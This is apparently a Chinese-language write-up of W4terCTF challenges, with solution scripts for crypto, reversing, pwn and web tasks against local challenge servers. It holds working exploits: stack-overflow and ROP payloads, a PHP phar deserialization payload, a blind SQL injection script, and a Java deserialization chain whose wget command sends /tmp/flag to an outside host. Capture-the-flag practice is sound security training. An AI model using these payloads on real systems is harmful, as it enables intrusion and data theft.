def generate_wish(time, index):
# 初始化随机种子,保证随机过程的可重现性
random.seed(time)

# 初始化概率变量
probability = 0

# 通过循环,根据 index 的次数来增加获取特殊输出的难度
for _ in range(index):
# 生成一个随机数,计算与 114514 的差的绝对值,并限制最大不超过 10000
rand_int = random.randint(0, 1919810)
diff = min(abs(rand_int - 114514), 10000)
# print(rand_int)
# 计算概率,基于差值 diff,越大的 diff 导致概率越小
probability = 100 * (0.1) ** diff

# 记录概率、时间和索引到日志
print(probability)
# print(diff, probability)
# 生成一个 0 到 255 的随机数,转换成 1 到 100 的范围内的一个数,如果这个数小于等于计算的概率,则返回特殊字符串 "flag"
if int.from_bytes(os.urandom(1), 'little') % 100 + 1 <= probability:
return "flag"
else:
# 否则生成一个由 4 个随机字母或数字组成的字符串返回
characters = string.ascii_letters + string.digits
return ''.join(random.choice(characters) for _ in range(4))

# generate_wish(1, 1)
# time < 24*60*60 or not 0 <= index < 10
for time in range(24*60*60):
random.seed(time)
for index in range(10):
result = random.randint(0, 1919810)
diff = min(abs(result - 114514), 10000)
if diff <= 10:
print(f"print(generate_wish({time},{index+1}))")
# print(generate_wish(6856,7))
# print(generate_wish(7758,1))
print(generate_wish(10693,2))
# print(generate_wish(20499,3))
# print(generate_wish(20544,1))
# print(generate_wish(39259,10))
1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import json

d = {
'time': 10693,
"index": 2
}

url = 'http://127.0.0.1:22452/wish'
headers = {'Content-Type': 'application/json'}

response = requests.post(url, data=json.dumps(d), headers=headers)
print(response.text)

Smoke hints

1
assert 114514 * x**2 - 11680542514 * y**2 + 1919810== 2034324

这个方程化简后,搜索可知叫什么pell方程,有在线工具可解。

1
2
3
x = 34834945635419823491817566563399234823053176449889821571800075702352062905044231520196782430564993617886316750841220280683153456634693274516582390418863033711415731372881163288179660369032440262647344962570809308551786423557604581792293023628226671539671001863522824415876161727357840363896909435994314597682318687286109212360132261705780761350223208855493439905713509683216585447535669179103840355151676900348955850726834778558748576176596609474037298456423607570516459873639794526160082489103786303332253388597560031538949333472681857144605196440020688999368156212067614295618998719682195870452330682061061500341728481458877113934526003865064359452801
y = 109071911012732502022850422978096246932142152916423367258339958080776017127779842287569032054094868715662547617710798972237860865468979518796870762466053422806566269221859683504667443154145089120448705028998733329483536176859312788275313407342047772524898407149610870586148015013605624329594138230714119704939505401061380777712216157719510271261619101362035144616187262082302740411574934586360516695062056563100258177611076242927354475633328163841594305884855770651187471060662561145818768319723133613889115397679168254599526858767478331211008997427364431641348477558436549415894985022330773540762573918592860707967250624976183104841257499345937186160

hint1和hint2,用那个什么费马小定理还是大定理忘了,反正跟取模和阶乘有关的,可以算出 e % hint1.

hint5 和 pq == n 联立,得到一个一元二次方程,求根公式可解p、q。

接下来只要知道e就能求出d,进而解flag了。由于我们知道e % hint1,所以枚举e实际上复杂度可以是18位(<1000*1000 = 1e6),一秒内可解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import math
import gmpy2
from Crypto.Util.number import *
x = 34834945635419823491817566563399234823053176449889821571800075702352062905044231520196782430564993617886316750841220280683153456634693274516582390418863033711415731372881163288179660369032440262647344962570809308551786423557604581792293023628226671539671001863522824415876161727357840363896909435994314597682318687286109212360132261705780761350223208855493439905713509683216585447535669179103840355151676900348955850726834778558748576176596609474037298456423607570516459873639794526160082489103786303332253388597560031538949333472681857144605196440020688999368156212067614295618998719682195870452330682061061500341728481458877113934526003865064359452801
y = 109071911012732502022850422978096246932142152916423367258339958080776017127779842287569032054094868715662547617710798972237860865468979518796870762466053422806566269221859683504667443154145089120448705028998733329483536176859312788275313407342047772524898407149610870586148015013605624329594138230714119704939505401061380777712216157719510271261619101362035144616187262082302740411574934586360516695062056563100258177611076242927354475633328163841594305884855770651187471060662561145818768319723133613889115397679168254599526858767478331211008997427364431641348477558436549415894985022330773540762573918592860707967250624976183104841257499345937186160

hint1 = 192781
hint2 = 47774
hint3 = 60576026590600259670672243316454570492624421230495631931000192409055848130741
hint5 = 8511730724111964551729648090729496334258464192329184421659576645926599745477161822445517490596590696950062427572575526924799059888666410239715127036312296366585830018076537347299421339111672517129148105960509261742310220843833374372904139318281616182166021002261393795535112869462311735463612914585297620293860621701131730277272821219143346985931152728279881790681954689974630908896825969333295695181241012489163786002809370145999592284058415342624797732712760072004860896067132358824909102653364690616242393827145341121840674550817426334207507567449956346518986079624104826544648712669594694134475571390529392633895275955083760115922736760927570675404631940671685828526586261195391960557757913458216448618470990375767090556916208792258717438205340813796801946489277758918165576604617952172191540118302733000628996216777652720945519881524177697431041702690664952498309153120263637823680339061905877149684678692781468455730331627980831220437389079280991254950593882967823026590446730142319499024841640947362389225152331236371922180283445573626135466824904210917427490636952921378536060829448543919981926196787241206363691684778533952719656388635961478329468952170590125859803622041556575744556804393520979820756127437839552060509856362789792315284194733993550237705397625576897440110685737966482458608194920884839647283339411758570498538441141847136789169862716291709407749350408470871463686429971092560523367157003727404402594830155973396360156525460786550459
n = 91620074399539809984032723545351878857231404164319864623221094688657125377027285009645571441155504054187379051470977726713242390019129283863392373101381688054973449768838194493179543768483189475792087995471028352084286722134848914536334687912058816254874133885652962545004058120887042512517692965510462397241
a = x*x
b = -hint5
c = y*y*n
delta = b**2 - 4*a*c
p = (-b + gmpy2.isqrt(delta)) // (2*a)
q = n // p
assert p*q == n
print("p: ", p)
print("q: ", q)
print("p >> 256: ", q >> 256)
phi_n = (p - 1) * (q - 1)

print("-e %% hint1 = ", hint2 * (hint1 - 1) % hint1)
print("e %% hint1 = ", (-hint2 * (hint1 - 1) % hint1))
e = 47774
while True:
if gmpy2.gcd(e, phi_n) == 1:
d = gmpy2.invert(e, phi_n)
# print("d: ", d)
c = 65435825387874654621973820173684357930891084341923245373206680337928082683585920767121649511918887839345637501253199242846753956015664987538955869880399173018904575399077778001978623718389355282941668670432673851419492234811356745252380429764970466586970656409752589485922863804052082625865837025313364851854
m = pow(c, d, n)
m = long_to_bytes(m)
if all(32 <= i < 127 for i in m):
print(m)
break
e += hint1

PWN

Remember It 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from pwn import remote
# 设置目标,如果是本地文件就使用 process,如果是远程服务就使用 remote
context.log_level = 'debug'
# target = remote("127.0.0.1", 32849)
# target = remote('ip_address', port) # 使用 remote('ip_address', port) 来替换


def get_string():
# 等待直到出现 "String" 字样
target.recvuntil("[*] String ".encode())

# 读取字符串编号
recved_line = target.recvline()
info("recved_line " + str(recved_line))
# remove \x08 and space and \n in bytes:
recved_line = recved_line.replace(b'\x08', b'').replace(b' ', b'').replace(b'\n', b'')
recved_line = str(recved_line)
recved_line = recved_line.split(":")[1][:-1]
info("recved_line " + str(recved_line))
return recved_line

def send_string(string):
# 发送字符串加上换行符
target.sendline(string.encode())

def main():
t = 0
while True:
t += 1
if t == 12:
break
send_string("1")
received_string = get_string()
send_string(received_string)
target.interactive()

if __name__ == "__main__":
main()

Remember It 1

发现次数是可以>10的,那么就可以栈溢出,溢出到后门函数就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from pwn import remote
context.log_level = 'debug'
target = remote("127.0.0.1", 32849)
# target = process("./always_correct")


def get_string():
# 等待直到出现 "String" 字样
target.recvuntil("[*] String ".encode())

# 读取字符串编号
recved_line = target.recvline()
info("recved_line " + str(recved_line))
# remove \x08 and space and \n in bytes:
recved_line = recved_line.replace(b'\x08', b'').replace(b' ', b'').replace(b'\n', b'')
recved_line = str(recved_line)
recved_line = recved_line.split(":")[1][:-1]
info("recved_line " + str(recved_line))
return recved_line
def send_string(string):
# 发送字符串加上换行符
target.sendline(string.encode())

def main():
t = 0
while True:
t += 1
if t == 12:
break
send_string("1")
received_string = get_string()
send_string("1")
send_string("1")
received_string = get_string()
target.sendline(b"01234567"+p64(0x00000000004018B6))
target.interactive()
if __name__ == "__main__":
main()

Remember It 2

开了canary那么先泄露出来,用那个打印history的操作可以泄露。但canary第一位固定是\x00,所以得覆盖成别的,才能让字符串不被截断。

然后这题没有后门,只能进libc用system("/bin/sh")了,所以需要泄露一个libc的地址。想了很多方法都很麻烦,最后想到main的返回地址应该是回到libc的,实验发现确实可以通过main的返回地址推出libc的基地址。

题目给了libc版本,直接可以得到system和 "/bin/sh"的偏移。然后还需要修改rdi作为system的参数,发现ROPgadget是可以搜到libc里的 pop rdi; ret的,这样就做完了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from pwn import remote
context.log_level = 'debug'
# target = remote("127.0.0.1", 32849)
# target = remote('ip_address', port)


def get_string():
# 等待直到出现 "String" 字样
target.recvuntil("[*] String ".encode())

# 读取字符串编号
recved_line = target.recvline()
info("recved_line " + str(recved_line))
# remove \x08 and space and \n in bytes:
recved_line = recved_line.replace(b'\x08', b'').replace(b' ', b'').replace(b'\n', b'')
recved_line = str(recved_line)
recved_line = recved_line.split(":")[1][:-1]
info("recved_line " + str(recved_line))
return recved_line

def send_string(string):
# 发送字符串加上换行符
target.sendline(string.encode())

def main():
t = 0
while True:
t += 1
if t == 12:
break
send_string("1")
received_string = get_string()
send_string(received_string)
target.interactive()

if __name__ == "__main__":
main()

MachO Parser

参考w4terctf2023的wp,是可以直接自己构造二进制来生成文件的。

一开始以为栈上没数组,就觉得是堆漏洞,后来一查才发现 alloca是在函数栈帧上分配内存的(怎么会有这么奇怪的函数)。

那么溢出点就只有 loaded_macho了。它是通过 seg->filesize来控制偏移量的。这里就有一个显然的漏洞,alloca分配的是文件大小,而seg->filesize是我们可控制的量,构造 seg->filesize就可以利用这个栈溢出。

然而,随便修改seg->filesize也不可行,因为 memcpy(loaded_macho, data + seg->fileoff, seg->filesize)会超过data导致段错误(data是mmap分配的)。我的做法是构造多个seg,它们的seg->fileoff是一样的,这样可以让loaded_macho偏移到我们控制的位置,也可以让memcpy不访问data外的内容,以及方便控制好文件大小filesize。

溢出后很容易覆盖返回地址为后门函数 command。但是还需要一个字符串,以及一个rdi来传入 cat /flag的指针。字符串我们可以写入data,且地址可知(因为mmap指定了)。使用ROPGadget没有搜到 pop rdi; ret。于是想到libc,但发现即使没开PIE,libc的地址也是会变的,而本题是一次性交互,没办法泄露地址再来搞事情。

既然没法控制rdi那么就回到command看看,发现最后call system的rdi是从rax拿的,而rax又是从rbp偏移的栈上拿的,那么可以控制好rbp,使得rbp+command处是我们在data上提前写入的cat flag的地址,然后直接跳转到call system的前两行。

rbp可以通过覆盖栈上的saved_rbp来控制,这样就可以一次性get shell。(感觉十分优雅

image-20240429022005521

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import struct
from pwn import p64
# 生成Mach-O文件头部
def mach_header_64():
return struct.pack(
"<IIIIIIII", # ">IIIIIIII"表示8个无符号整数
0xfeedfacf, # MH_MAGIC_64, 64位的魔数
7, # CPU_TYPE_X86_64, x86-64架构
3, # CPU_SUBTYPE_LIB64 | CPU_SUBTYPE_X86_ALL
2, # MH_EXECUTE, 可执行文件
5, # 加载命令的数量
1, # 所有加载命令的总大小
0, # 标志位
0 # reserved, 保留字段,目前未使用
)



def segment_command_64_1():
return struct.pack(
"<II16sQQQQIIII", # ">IIIIIIIIIIIIII"表示14个无符号整数
0x19,
0x48, #cmdsize
b"1",
1,
1,
0x200,
0x100, # filesize + 0x100
1,
1,
1,
1
)


def segment_command_64_5():
return struct.pack(
"<II16sQQQQIIII", # ">IIIIIIIIIIIIII"表示14个无符号整数
0x19,
0x48,
b"1",
1,
1,
0x200,
0x180,
1,
1,
1,
1
)




def print_hex(filename):
with open(filename, 'rb') as file:
byte = file.read(16) # 读取前16个字节
while byte:
# 将每个字节转换为十六进制,并用空格分隔
hex_values = ' '.join(f'{b:02x}' for b in byte)
# 每8个字节添加额外的两个空格
formatted_hex = hex_values[:23] + ' ' + hex_values[23:]
print(formatted_hex)
byte = file.read(16) # 继续读取下一个16字节

ret_addr = 0x00000000004017D4
command_addr = 0x00000000004014A0
# pop_rdi_ret_offset = 0x000000000002a3e5
bss_addr = 0x0000000000404070
cat_flag_str_addr = 0x10000000 + 0x380
ptr_cat_flag_str_addr = 0x10000000 + 0x360
mov_eax_str_pop_rbp_ret = 0x000000000040134D
pop_rdi_pop_rbp_ret = 0x000000000040132b
# libc_base_addr = 0x0
# pop_rdi_ret_addr = libc_base_addr + pop_rdi_ret_offset
def create_mach_o_file(filename):
with open(filename, 'wb') as f:
f.write(mach_header_64())
f.write(segment_command_64_1())
f.write(segment_command_64_1())
f.write(segment_command_64_1())
f.write(segment_command_64_1())
f.write(segment_command_64_5())
# 补到0x200字节
f.write(b'\x02' * (0x200 - f.tell()))

# 0x200
# f.write(p64(0x0000000000404070) * 0x20)
f.write(p64(0x0000000000404060) * 0x20)
# 写入0x170个数据
# 0x300
f.write(p64(ptr_cat_flag_str_addr + 8)) # saved rbp
# f.write(p64(ret_addr))
f.write(p64(command_addr))

# 补到0x360
f.write(b'\x02' * (0x360 - f.tell()))
#0x360
f.write(p64(cat_flag_str_addr))

# 补到0x380
f.write(b'\x02' * (0x380 - f.tell()))
# 0x380
f.write(b"cat /flag\x00")

# 补到0x400
f.write(b'\x02' * (0x400 - f.tell()))

create_mach_o_file('simple_macho')
print('simple_macho has been created!')
print_hex("simple_macho")

WEB

Auto Unserialize

搜到传入phar时,file_exists有反序列化漏洞。

GIF89a文件头可以绕过图片检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
class command_test{
public $command = "echo 'test'";
public function __destruct(){
eval($this->command);
}
}
$a = new command_test();
$a->command="echo(shell_exec('cat /flag'));";
$tttang=new phar('p.phar',0);//后缀名必须为phar
$tttang->startBuffering();//开始缓冲 Phar 写操作
$tttang->setStub("GIF89a<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$tttang->setMetadata($a);//自定义的meta-data存入manifest
$tttang->addFromString("test.txt","test");//添加要压缩的文件
$tttang->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

URL传入:phar://p.phar/test.txt

image-20240429121731522

GitZip

image-20240429121555900

这个地方传入 ../../../../../../../../../../../../之类的东西就可以访问到根目录,但是测试发现只有严格符合它的规则(3个斜杠)才会被捕获。

然后搜到%2f似乎可以绕过这种。

image-20240429121828657

PNG Server

加个png或者gif文件头就可以绕过图片检测。

但是图片会被重命名,搜到nginx漏洞,在路径后加入 /.php就会解析成php。

image-20240429122323228

User Manager

传入两个元素,然后给order_by加上条件,就可以盲注。条件为真增序,假则反序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import json
import string

characters = list(string.ascii_uppercase + string.ascii_lowercase + string.digits + '_}')

url_base = "http://127.0.0.1:52199/users?order_by="

current_string = "W4terCTF{DI5c0V3R_7He_h1ddEn_fLa6_BY_8L1Nd_InjEcTln9_INto_tHe_USer_MAN"

max_length = 90
for position in range(71, max_length + 1):
found = False
for char in characters:
order_by = f"CASE WHEN (SELECT substr(Secret, {position}, 1) FROM users WHERE id = 1) = '{char}' THEN id ELSE -id END"
url = f"{url_base}{order_by}"

# 发送GET请求
response = requests.get(url)
if response.status_code != 200:
print(f"Failed to retrieve users for character: {char} at position {position}")
continue

# 尝试解析响应的JSON内容
try:
users = json.loads(response.text)
if users is None or not users:
print(f"No users found for character: {char} at position {position}")
continue

# 检查第一个用户的ID是否为1
if users[0]['ID'] == 1:
current_string += char # 将匹配的字符加入到当前字符串中
print(f"Current matching string: '{current_string}'")
found = True
break
except json.JSONDecodeError:
print(f"Failed to decode JSON response for character: {char} at position {position}")
except (IndexError, KeyError):
print(f"Unexpected response format for character: {char} at position {position}")

if not found:
print("No more characters found, stopping search.")
break # 停止进一步搜索,因为我们已经找不到更多的字符

但是当时没写二分让它慢慢跑导致痛失前3血(flag怎么这么长)

ASHBP

得让cre解密出来是flag。发现可以下载公钥(PUBLIC),直接用下载下来的公钥加密flag和 /tmp/flag

image-20240429124846983

(一开始没看docker file,导致找半天不知道flag在哪。但是做完这个去做priv escape就很快找到 /tmp/flag

Just ReadObject

搜索transform,反序列化,read object等关键词可以找到 “CC2链”。具体地,priority_queue在readobject的时候,会调用其元素的Comparator的compare函数。

模仿CC2链,构造一个priority_queue,指定Comparator,并在Comparator里套娃另一个comparator,就可以实现一个链式的调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.util.Comparator;
import java.util.PriorityQueue;



// 主类
public class Serialize {
public static void main(String[] args) {
// 创建字符串转换器

W4terInvokerTransformer<Object, Object> transformer3 = new W4terInvokerTransformer<>(
"getMethod", // 方法名,使用Runtime.exec来执行命令
new Class<?>[] {String.class, Class[].class}, // 参数类型,exec方法接受一个字符串参数
new Object[] {"getRuntime", new Class[0]} // 参数值,Windows中打开计算器的命令
);
W4terInvokerTransformer<Object, Object> transformer2 = new W4terInvokerTransformer<>(
"invoke", // 方法名,使用Runtime.exec来执行命令
new Class[] {Object.class, Object[].class }, // 参数类型,exec方法接受一个字符串参数
new Object[] {null, new Object[0] } // 参数值,Windows中打开计算器的命令
);
W4terInvokerTransformer<Object, Object> transformer1 = new W4terInvokerTransformer<>(
"exec", // 方法名,使用Runtime.exec来执行命令
new Class<?>[] {String[].class}, // 参数类型,exec方法接受一个字符串参数
// new Object[] {"/bin/sh FLAG_CONTENT=$(cat /tmp/flag) && ping -c 1 $FLAG_CONTENT.ZRHan.dnslog.pw"} // 参数值,Windows中打开计算器的命令
new Object[] {new String[]{"/bin/sh", "-c", "wget http://azure.zrhan.top:8000/`cat /tmp/flag`"}}
);
Comparator comparator1 = new W4terTransformingComparator<Object, Object>(transformer1, new W4terComparator());
Comparator comparator2 = new W4terTransformingComparator<Object, Object>(transformer2, comparator1);
Comparator comparator3 = new W4terTransformingComparator<Object, Object>(transformer3, comparator2);

// 创建W4terTransformingComparator,从String到String
// W4terTransformingComparator<String, String> w4tertransformingcomparator = new W4terTransformingComparator<>(transformer, stringComparator);

// 创建PriorityQueue,使用自定义的Comparator
PriorityQueue<Class> priorityQueue = new PriorityQueue<>(2, comparator3);

// 添加测试数据到PriorityQueue
priorityQueue.add(Runtime.class);
priorityQueue.add(Runtime.class);
// priorityQueue.add("cherry");

// 序列化PriorityQueue到文件
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("priorityQueue.ser"))) {
oos.writeObject(priorityQueue);
System.out.println("PriorityQueue has been serialized to file 'priorityQueue.ser'");
} catch (IOException e) {
System.err.println("Error serializing PriorityQueue: " + e.getMessage());
}
}
}

REVERSE

box

IDA搜索flag、W4terCTF、success、congratula等字符串,可以定位到入口点,很容易发现是一个简单的异或逻辑。

1
2
3
4
5
6
7
8
9
hex_data = "7A 05 6E 01 02 69 54 6B 49 09 58 54 53 67 62 4F 77 50 60 4E 60 63 7A 69 18 79 1C 49 68 4B 15 63 4B 4D 53 45 20 49 5D 5B 74 71 46 71 6C 41 2C 49 4D"
for idx, d in enumerate(hex_data.split()):
t = int(d, 16)
# print(t)
t ^= idx
t ^= 0x33
# print(t)
print(chr(t), end="")
# I7_15_a_r3allY_sTrAnGE_M3S5aGe8OX_BU7_HOok_is_1UN

BruteforceMe

第一层是异或再*17,第二层是base64魔改,第三层是一个加密算法的魔改。

第三层直接逆向,第二层似乎难以逆向,于是直接暴力。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import string
def sub_55B1ECB9A290(data):
# 假设 aAbcdefghijklmn 是一个由 C 代码定义的映射表,这里我们用一个示例 Python 字典来表示
mapping = {i: chr for i, chr in enumerate("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")}


length = len(data)
result_length = 4 * ((length + 2) // 3)
result = bytearray(result_length + 1)

v4 = 0
i = 0
while (length % 3 != 0 and v4 < length - 3) or (length % 3 == 0 and v4 < length):
byte1 = data[v4]
byte2 = data[v4 + 1] if v4 + 1 < length else 0
byte3 = data[v4 + 2] if v4 + 2 < length else 0

result[i + 3] = ~ord(mapping[(byte1 >> 2)]) & 0xFF
result[i + 2] = ~ord(mapping[((16*byte1)&0x30) | (byte2>>4)]) & 0xFF
result[i + 1] = ~ord(mapping[((4*byte2)&0x3c) | (byte3 >> 6)]) & 0xFF
result[i] = ~ord(mapping[byte3 & 0x3F]) &0xFF

v4 += 3
i += 4

if length % 3 == 2:
byte1 = data[v4]
byte2 = data[v4 + 1]
result[i + 3] = 255 - ord(mapping[(byte1 >> 2) & 0x3F])
result[i + 2] = 255 - ord(mapping[((byte1 << 4) | (byte2 >> 4)) & 0x3F])
result[i + 1] = 255 - ord(mapping[(byte2 << 2) & 0x3F])
result[i] = 126 # ASCII for '~'
elif length % 3 == 1:
byte1 = data[v4]
result[i + 3] = 255 - ord(mapping[(byte1 >> 2) & 0x3F])
result[i + 2] = 255 - ord(mapping[(byte1 << 4) & 0x3F])
result[i + 1] = 126 # ASCII for '~'
result[i] = 126 # ASCII for '~'

result[result_length] = 0 # Null-terminate the result (not necessary in Python but mimics C behavior)

return bytes(result)

def xor_0x87_times_17(data):
# 首先,确保输入是 bytearray 类型,以便我们可以修改它
if isinstance(data, bytes):
data = bytearray(data) # 如果输入是 bytes,转换为 bytearray
# 进行 XOR 和乘法操作
for i in range(len(data)):
data[i] ^= 0x87 # XOR 操作
data[i] = (data[i] * 17) % 256 # 乘以 17 并取 256 的模以保持字节范围
return bytes(data) # 返回 bytes 类型的结果

# Example usage
# example_input = b"0123456701234567012345670123456701234567012"
# encoded_output = sub_55B1ECB9A290(xor_0x87_times_17(example_input))
# print(encoded_output)
chrs = string.printable
ord_chrs = [ord(chr) for chr in chrs]
ciphex = bytes.fromhex("95b2b0cfbaaa94bec7b8c6be939493c7b8a5bdc6abb6d4be9aa7bba8acabd0be92aebea8bd95a9a8cf9593cbb4b499a895a7bac6abb6be8c7e7e9892")
def bruteforce_ciphex(ciphex):
# 初始化一个空的列表来存储可能的匹配结果
possible_matches = []

# 遍历所有可能的三字节组合
for byte1 in ord_chrs:
for byte2 in ord_chrs:
for byte3 in ord_chrs:
# 构建一个三字节的数据块
original_bytes = bytes([byte1, byte2, byte3])

# 对这个数据块应用 xor_0x87_times_17 函数
processed_bytes = xor_0x87_times_17(original_bytes)

# 再对处理后的数据块应用 sub_55B1ECB9A290 函数
encoded_bytes = sub_55B1ECB9A290(processed_bytes)

# 由于sub_55B1ECB9A290生成的结果长度可能超过ciphex的片段长度,只取前相同长度的部分进行比较
if encoded_bytes[:len(ciphex)] == ciphex:
# 如果匹配成功,记录下原始的三字节数据
possible_matches.append(original_bytes)

return possible_matches

# print(sub_55B1ECB9A290(xor_0x87_times_17(b"W4ter")))
matches = []
for i in range(0, len(ciphex), 4):
bruted = bruteforce_ciphex(ciphex[i:i+4])[0]
if bruted is None:
raise Exception("No match found")
matches += bruted
print(''.join(chr(num) for num in matches))
# print(matches)
# W4terCTF{UNR31aTEd_byT35_CAN_6E_3NUm3r47ed

norr

可以发现逻辑是

image-20240429185010626

主要是func3. 硬刚即可。

image-20240429185135948

image-20240429185148646

image-20240429185155341

image-20240429185201717

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def compute_values(int1):
# d = [0] * 14 # 创建一个长度为14的数组,初始化所有元素为0

# # 根据赋值逻辑计算d的值
# d[2] = ~102
# d[0] = 102
# d[1] = ~int1
# d[4] = ~(102 | ~int1)
# d[0] = 102 | ~int1
# d[2] = ~(102 | ~int1)
# d[3] = ~int1
# d[0] = int1
# d[1] = ~102
# d[4] = ~(int1 | ~102)
# d[0] = (int1 | ~102)
# d[3] = ~(int1 | ~102)
# d[4] = ~(~(102 | ~int1) | ~(int1 | ~102))
# int1 = ~(102 | ~int1) | ~(int1 | ~102)

return int1 ^ 102

return int1

int1 = 0x30
d5 = 0b11001100 # 示例二进制数
result = compute_values(int1)
print("result: ", result)

古老的语言

使用vb decompiler可以反编译。但是开优化的话会有错误(var_B0那里)

然后一直以为leftRotate是左旋转,后面找到一个工具VBDEC.exe去调试pcode,才知道是单纯位移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
// 模拟 VB 中的 AddLong 函数
uint32_t AddLong(uint32_t a, uint32_t b) {
return a + b;
}

// 位操作辅助函数
uint32_t LeftRotateLong(uint32_t value, uint32_t shift) {
uint32_t uvalue = (uint32_t) value; // 转换为无符号类型以避免算术右移
return (value << shift) | (value >> (32 - shift));
}

uint32_t RightRotateLong(uint32_t value, uint32_t shift) {
uint32_t uvalue = (uint32_t) value; // 转换为无符号类型以避免算术右移
return (uvalue >> shift) | (uvalue << (32 - shift));
}


int Fxxxtel(unsigned int * var_A0) {

unsigned int result = 0xFF;

// 遍历输入数组 'raw'
unsigned int var_AC, var_C0;
unsigned int var_A6, var_B0, var_B4, var_B8, var_BC;
unsigned int var_C4, var_C8, var_CC, var_D4;
for (var_AC = 0; var_AC <= 9; var_AC += 3) {
var_A6 = var_AC;
var_B0 = 0;
var_B4 = var_A0[var_A6];
var_B8 = var_A0[var_A6 + 1];
var_BC = var_A0[var_A6 + 2];

for (var_C0 = 1; var_C0 <= 32; var_C0++) {
// printf("var_B0: %x\n", var_B0);
// printf("var_B4: %x\n", var_B4);
// printf("var_B8: %x\n", var_B8);
// printf("var_BC: %x\n", var_BC);


var_C8 = var_B0 + (unsigned)(-1640531527); // 61C8 8647
var_B0 = var_C8;

var_C4 = var_C8 << 4;
// printf("left rotate var_C4: %x\n", var_C4);
var_CC = var_C4 ^ -559038737; // DEAD BEEF
var_C8 = var_CC + (var_B8 ^ var_B0);
printf("add var_C8: %x\n", var_C8);
var_CC = var_C8;

var_C4 = var_B8 >> 5;
// printf("right rotate var_C4: %x\n", var_C4);
var_D4 = var_CC + (var_C4 ^ -1161901314); // BABECAFE
var_CC = var_D4;
var_B4 = var_B4 ^ var_CC;
// printf("var_B4: %x\n", var_B4);

var_C4 = var_BC << 4;
var_CC = var_C4 ^ -559038737;
var_C8 = var_CC + (var_BC ^ var_B0);
var_CC = var_C8;
var_C4 = (var_BC >> 5);
var_D4 = var_CC + (var_C4 ^ -1161901314);
var_CC = var_D4;
var_B8 = var_B8 ^ var_CC;

var_C4 = (var_B4 << 4);
var_CC = var_C4 ^ -559038737;
var_C8 = var_CC + (var_B4 ^ var_B0);
var_CC = var_C8;
var_C4 = (var_B4 >> 5);
var_D4 = var_CC + (var_C4 ^ -1161901314);
var_CC = var_D4;
var_BC = var_BC ^ var_CC;

// getchar();
}

var_A0[var_A6] = var_B4;
var_A0[var_A6 + 1] = var_B8;
var_A0[var_A6 + 2] = var_BC;
}
// printf("final_B0: %d\n", var_B0);
for (int i=0; i<12; ++i) {
printf("%u, ", var_A0[i]);
}
puts("");
// 一系列的检验,确定var_A0数组中的数据是否符合特定的值
// int expected_values[12] = {-1719513012, 0x5E453769, 0x1677BCE3, 0x274285B4, -1073299571, -1079396546, 0x4E17793A, -385687817, 0x710AAA57, -1288653938, -1587386381, 0x74E9FB14};
// for (int i = 0; i < 12; i++) {
// if (var_A0[i] != expected_values[i]) {
// result = 0;
// break;
// }
// }

return result;
}

// 解密函数
unsigned int* FxxxtelDecrypt(unsigned int var_A0[]) {
unsigned int result = 0xFF;

unsigned int var_AC, var_C0;
unsigned int var_A6, var_B0, var_B4, var_B8, var_BC;
unsigned int var_C4, var_C8, var_CC, var_D4;

for (var_AC = 0; var_AC <= 9; var_AC += 3) {
var_A6 = var_AC;
var_B0 = -957401312;
